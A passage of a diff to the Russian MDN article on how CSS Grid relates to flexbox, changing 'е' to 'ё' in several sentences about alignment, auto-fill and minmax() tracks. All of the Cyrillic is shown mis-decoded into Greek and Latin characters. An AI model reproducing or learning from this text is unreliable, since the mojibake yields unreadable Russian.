Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‚Ρ€Π΅ΠΊΠΈ, ΠΏΠΎΠ΄ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΏΠΎΠ΄ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½ΠΎ ΠΏΡ€ΠΈ этом ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Π½ΡΡŽΡ‚ саму структуру.</p>
+<p>Π“Ρ€ΠΈΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, исходя ΠΈΠ· ΠΌΠ°ΠΊΠ΅Ρ‚Π°. Когда Π’Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ CSS Grid Layout, Π’Ρ‹ создаётС структуру ΠΈ Π·Π°Ρ‚Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ элСмСнты ΠΈΠΌΠ΅Π½Π½ΠΎ Π² этой структурС ΠΈΠ»ΠΈ ΠΆΠ΅ позволяСтС ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ Π°Π²Ρ‚ΠΎ-размСщСния Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ элСмСнты Π² Π³Ρ€ΠΈΠ΄-ячСйках Π² соотвСтствии с Тёстко Π·Π°Π΄Π°Π½Π½ΠΎΠΉ сСткой. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, сущСствуСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‚Ρ€Π΅ΠΊΠΈ, ΠΏΠΎΠ΄ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΏΠΎΠ΄ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½ΠΎ ΠΏΡ€ΠΈ этом ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Π½ΡΡŽΡ‚ саму структуру.</p>
<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли Π’Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β flexbox ΠΈ Π²Π΄Ρ€ΡƒΠ³ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚Π΅ ΡΠ»Π°ΡΡ‚ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ элСмСнтов, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π² сторону CSS Grid Layout. НапримСр, Π² Ρ‚ΠΎΠΌ случаС, Ссли Π’Ρ‹ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°ΠΌΠΈ подгоняСтС ΡˆΠΈΡ€ΠΈΠ½Ρƒ flex-элСмСнта, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Ρ€ΠΎΠ²Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎ элСмСнтам Π² строкС свСрху. Π’ Ρ‚Π°ΠΊΠΎΠΉ ситуации Π³Ρ€ΠΈΠ΄Ρ‹ каТутся Π±ΠΎΠ»Π΅Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ.Β </p>
@@ -130,7 +130,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<p>Π”Π°Π»ΡŒΡˆΠ΅ Π² нашСм руководствС ΠΌΡ‹ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассмотрим Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π±Π»ΠΎΠΊΠΎΠ² Box Alignment ΠΈ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Grid Layout, Π° здСсь Π΄Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Π΄Π²Π° простых примСра, ΠΈ сравним flexbox ΠΈ Π³Ρ€ΠΈΠ΄Ρ‹.</p>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅ΠΌ flexbox, Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ с трСмя элСмСнтами. Для Π±Π»ΠΎΠΊΠ°-ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ wrapper установлСно свойство {{cssxref("min-height")}}, ΠΈ ΠΎΠ½ΠΎ Π·Π°Π΄Π°Π΅Ρ‚ высоту flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. ΠœΡ‹ установили свойство {{cssxref("align-items")}} flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>flex-end</code>Β , поэтому элСмСнты Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΊΠΎΠ½Ρ†Ρƒ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ установили Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{cssxref("align-self")}} для <code>box1</code>Β  Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,Β Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡˆΠ΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ заставит наш Π±Π»ΠΎΠΊ растянутся Π½Π° всю высоту ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Для <code>box2</code> свойство {{cssxref("align-self")}} установлСно Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π±Π»ΠΎΠΊ ΠΏΠ΅Ρ€Π΅ΠΏΡ€Ρ‹Π³Π½Π΅Ρ‚ Π²Β Π½Π°Ρ‡Π°Π»ΠΎΒ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°.</p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅ΠΌ flexbox, Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ с трСмя элСмСнтами. Для Π±Π»ΠΎΠΊΠ°-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ wrapper установлСно свойство {{cssxref("min-height")}}, ΠΈ ΠΎΠ½ΠΎ Π·Π°Π΄Π°Ρ‘Ρ‚ высоту flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. ΠœΡ‹ установили свойство {{cssxref("align-items")}} flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>flex-end</code>Β , поэтому элСмСнты Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΊΠΎΠ½Ρ†Ρƒ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ установили Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{cssxref("align-self")}} для <code>box1</code>Β  Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,Β Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡˆΠ΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ заставит наш Π±Π»ΠΎΠΊ растянутся Π½Π° всю высоту ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Для <code>box2</code> свойство {{cssxref("align-self")}} установлСно Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π±Π»ΠΎΠΊ ΠΏΠ΅Ρ€Π΅ΠΏΡ€Ρ‹Π³Π½Π΅Ρ‚ Π²Β Π½Π°Ρ‡Π°Π»ΠΎΒ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°.</p>
<div class="hidden">
<pre class="brush: css notranslate">* {box-sizing: border-box;}
@@ -175,7 +175,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<h3 id="Π’Π΅ΠΌ_Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ_Π²_ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎΠΉ_всСлСнной_Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅_Π²_CSS_Π“Ρ€ΠΈΠ΄Π°Ρ…">Π’Π΅ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π² ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎΠΉ всСлСнной: Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π²Β CSS Π“Ρ€ΠΈΠ΄Π°Ρ…</h3>
-<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π³Ρ€ΠΈΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ самый ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΈ Π½Π° этот Ρ€Π°Π· ΠΌΡ‹ рассмотрим Ρ‚ΠΎ, ΠΊΠ°ΠΊ свойства выравнивания Π±Π»ΠΎΠΊΠΎΠ² ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ Π³Ρ€ΠΈΠ΄Π°ΠΌ. ВмСсто <code>flex-start</code>Β ΠΈ <code>flex-end</code>Β ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ <code>start</code> ΠΈ <code>end</code>Β .Β Π’ случаС с ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ Π½Π° Π³Ρ€ΠΈΠ΄Π°Ρ… ΠΌΡ‹ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π΅ΠΌ элСмСнты Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡ… Π³Ρ€ΠΈΠ΄-области, Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ - это ΠΎΠ΄Π½Π° СдинствСнная Π³Ρ€ΠΈΠ΄-ячСйка, Π½ΠΎ Π² Ρ†Π΅Π»ΠΎΠΌ Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π³Ρ€ΠΈΠ΄-ячССк.</p>
+<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π³Ρ€ΠΈΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ самый ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΈ Π½Π° этот Ρ€Π°Π· ΠΌΡ‹ рассмотрим Ρ‚ΠΎ, ΠΊΠ°ΠΊ свойства выравнивания Π±Π»ΠΎΠΊΠΎΠ² ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ Π³Ρ€ΠΈΠ΄Π°ΠΌ. ВмСсто <code>flex-start</code>Β ΠΈ <code>flex-end</code>Β ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ <code>start</code> ΠΈ <code>end</code>Β .Β Π’ случаС с ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ Π½Π° Π³Ρ€ΠΈΠ΄Π°Ρ… ΠΌΡ‹ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π΅ΠΌ элСмСнты Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡ… Π³Ρ€ΠΈΠ΄-области, Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ - это ΠΎΠ΄Π½Π° СдинствСнная Π³Ρ€ΠΈΠ΄-ячСйка, Π½ΠΎ Π² Ρ†Π΅Π»ΠΎΠΌ Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π³Ρ€ΠΈΠ΄-ячССк.</p>
<div class="hidden">
<pre class="brush: css notranslate">* {box-sizing: border-box;}
@@ -228,9 +228,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<h4 id="АвтозаполнСниС_Π³Ρ€ΠΈΠ΄-Ρ‚Ρ€Π΅ΠΊΠΎΠ²">АвтозаполнСниС Π³Ρ€ΠΈΠ΄-Ρ‚Ρ€Π΅ΠΊΠΎΠ²</h4>
-<p>МоТно ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ эффСкт, ΠΏΠΎΡ…ΠΎΠΆΠΈΠΉ Π½Π° ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ flexbox, ΠΈ ΠΏΡ€ΠΈ этом ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² ТСсткой сСткС ΠΈΠ· строк ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, Ссли Π·Π°Π΄Π°Ρ‚ΡŒ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ repeat-Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ ΠΈ свойства <code>auto-fill</code> ΠΈΒ <code>auto-fit</code>.</p>
+<p>МоТно ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ эффСкт, ΠΏΠΎΡ…ΠΎΠΆΠΈΠΉ Π½Π° ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ flexbox, ΠΈ ΠΏΡ€ΠΈ этом ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² Тёсткой сСткС ΠΈΠ· строк ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, Ссли Π·Π°Π΄Π°Ρ‚ΡŒ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ repeat-Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ ΠΈ свойства <code>auto-fill</code> ΠΈΒ <code>auto-fit</code>.</p>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>auto-fill</code> вмСсто Ρ†Π΅Π»ΠΎΠ³ΠΎ числа Π² repeat-Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ ΠΈ Π·Π°Π΄Π°Π΅ΠΌ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ² Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌΒ Π²Β 200 пиксСлСй. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π³Ρ€ΠΈΠ΄ создаст ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Ρ€Π΅ΠΊΠΎΠ²-ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ Π² 200 пиксСлСй, сколько ΠΈΡ… ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>auto-fill</code> вмСсто Ρ†Π΅Π»ΠΎΠ³ΠΎ числа Π² repeat-Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ ΠΈ Π·Π°Π΄Π°Ρ‘ΠΌ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ² Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌΒ Π²Β 200 пиксСлСй. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π³Ρ€ΠΈΠ΄ создаст ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Ρ€Π΅ΠΊΠΎΠ²-ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ Π² 200 пиксСлСй, сколько ΠΈΡ… ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅.</p>
<div class="hidden">
<pre class="brush: css notranslate">* {box-sizing: border-box;}
@@ -268,7 +268,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<h3 id="ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅_количСство_Ρ‚Ρ€Π΅ΠΊΠΎΠ²">ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ количСство Ρ‚Ρ€Π΅ΠΊΠΎΠ²</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ вспомним ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с flexbox, ΠΊΠΎΠ³Π΄Π° элСмСнты, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… большС 200 пиксСлСй, пСрСходят Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку. Π’ΠΎΡ‚ ΠΆΠ΅ самый эффСкт Π² Π³Ρ€ΠΈΠ΄Π°Ρ… ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ комбинируя <code>auto-fill</code>Β ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{cssxref("minmax", "minmax()")}}. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ создаСм Π°Π²Ρ‚ΠΎΠ·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹Π΅ Ρ‚Ρ€Π΅ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>minmax</code>. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ€Π΅ΠΊΠΈ Π±Ρ‹Π»ΠΈ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ 200 пиксСлСй Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ, это нашС минимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π° для максимального Π·Π°Π΄Π°Π΄ΠΈΠΌ <code>1fr</code>. Π’ процСссС, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ вычисляСт, сколько Π±Π»ΠΎΠΊΠΎΠ² Π² 200 пиксСлСй ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ - ΠΏΡ€ΠΈ этом учитывая Π³Ρ€ΠΈΠ΄-Π·Π°Π·ΠΎΡ€Ρ‹ - ΠΎΠ½ расцСниваСт максимум <code>1fr</code>Β ΠΊΠ°ΠΊ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΡΡ‚Π°Π²ΡˆΠ΅Π΅ΡΡ свободноС пространство ΠΌΠ΅ΠΆΠ΄Ρƒ этими Π±Π»ΠΎΠΊΠ°ΠΌΠΈ.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ вспомним ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с flexbox, ΠΊΠΎΠ³Π΄Π° элСмСнты, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… большС 200 пиксСлСй, пСрСходят Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку. Π’ΠΎΡ‚ ΠΆΠ΅ самый эффСкт Π² Π³Ρ€ΠΈΠ΄Π°Ρ… ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ комбинируя <code>auto-fill</code>Β ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{cssxref("minmax", "minmax()")}}. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ создаём Π°Π²Ρ‚ΠΎΠ·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹Π΅ Ρ‚Ρ€Π΅ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>minmax</code>. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ€Π΅ΠΊΠΈ Π±Ρ‹Π»ΠΈ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ 200 пиксСлСй Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ, это нашС минимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π° для максимального Π·Π°Π΄Π°Π΄ΠΈΠΌ <code>1fr</code>. Π’ процСссС, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ вычисляСт, сколько Π±Π»ΠΎΠΊΠΎΠ² Π² 200 пиксСлСй ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ - ΠΏΡ€ΠΈ этом учитывая Π³Ρ€ΠΈΠ΄-Π·Π°Π·ΠΎΡ€Ρ‹ - ΠΎΠ½ расцСниваСт максимум <code>1fr</code>Β ΠΊΠ°ΠΊ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΡΡ‚Π°Π²ΡˆΠ΅Π΅ΡΡ свободноС пространство ΠΌΠ΅ΠΆΠ΄Ρƒ этими Π±Π»ΠΎΠΊΠ°ΠΌΠΈ.</p>
<div class="hidden">
<pre class="brush: css notranslate">* {box-sizing: border-box;}
@@ -304,7 +304,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<p>{{ EmbedLiveSample('A_flexible_number_of_tracks', '500', '170') }}</p>
-<p>БобствСнно, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π³Ρ€ΠΈΠ΄Ρ‹ с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ количСством ΠΈΠ»ΠΈ с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ Ρ‚Ρ€Π΅ΠΊΠΎΠ² ΠΈ ΠΏΡ€ΠΈ этом ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ элСмСнты Π² ТСсткой сСткС ΠΈΠ· строк ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ.</p>
+<p>БобствСнно, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π³Ρ€ΠΈΠ΄Ρ‹ с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ количСством ΠΈΠ»ΠΈ с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ Ρ‚Ρ€Π΅ΠΊΠΎΠ² ΠΈ ΠΏΡ€ΠΈ этом ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ элСмСнты Π² Тёсткой сСткС ΠΈΠ· строк ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ.</p>
